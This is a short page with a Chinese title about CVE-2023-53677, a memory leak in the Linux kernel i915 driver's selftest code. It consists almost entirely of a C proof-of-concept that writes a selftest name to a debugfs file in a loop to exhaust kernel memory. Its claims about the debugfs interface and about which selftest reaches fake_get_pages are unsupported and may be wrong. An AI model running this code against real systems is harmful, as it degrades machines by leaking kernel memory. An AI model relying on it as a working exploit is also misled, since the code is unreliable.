CVE-2023-53677：Linux内核i915驱动selftests内存泄漏漏洞

// PoC for CVE-2023-53677: Linux kernel i915 selftests memory leak // This PoC demonstrates how to trigger the memory leak in fake_get_pages // by repeatedly invoking the i915 selftest that exercises fake_get_pages. // // Note: This requires access to a system with i915 GPU and the ability to // trigger kernel selftests (e.g., via debugfs or module parameters). #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #define I915_SELFTEST_PATH "/sys/kernel/debug/dri/0/i915_selftest" #define FAKE_GET_PAGES_TEST "mock_request" /* * Trigger the fake_get_pages selftest repeatedly to cause memory leak. * Each failed invocation leaks memory that was allocated but not freed * on the error escape path in fake_get_pages(). */ int trigger_memory_leak(int iterations) { int fd; char buf[256]; int i; printf("CVE-2023-53677 PoC: Triggering i915 fake_get_pages memory leak\n"); printf("Iterations: %d\n", iterations); fd = open(I915_SELFTEST_PATH, O_WRONLY); if (fd < 0) { perror("Failed to open i915 selftest interface"); printf("Note: Requires root privileges and i915 driver loaded\n"); return -1; } for (i = 0; i < iterations; i++) { /* Trigger the mock_request selftest which exercises fake_get_pages */ snprintf(buf, sizeof(buf), "%s\n", FAKE_GET_PAGES_TEST); if (write(fd, buf, strlen(buf)) < 0) { perror("Failed to trigger selftest"); break; } if (i % 100 == 0) { printf("Iteration %d/%d completed\n", i, iterations); } } close(fd); printf("Memory leak trigger completed. Monitor memory usage with 'free -m'\n"); return 0; } int main(int argc, char *argv[]) { int iterations = 1000; if (argc > 1) { iterations = atoi(argv[1]); } return trigger_memory_leak(iterations); }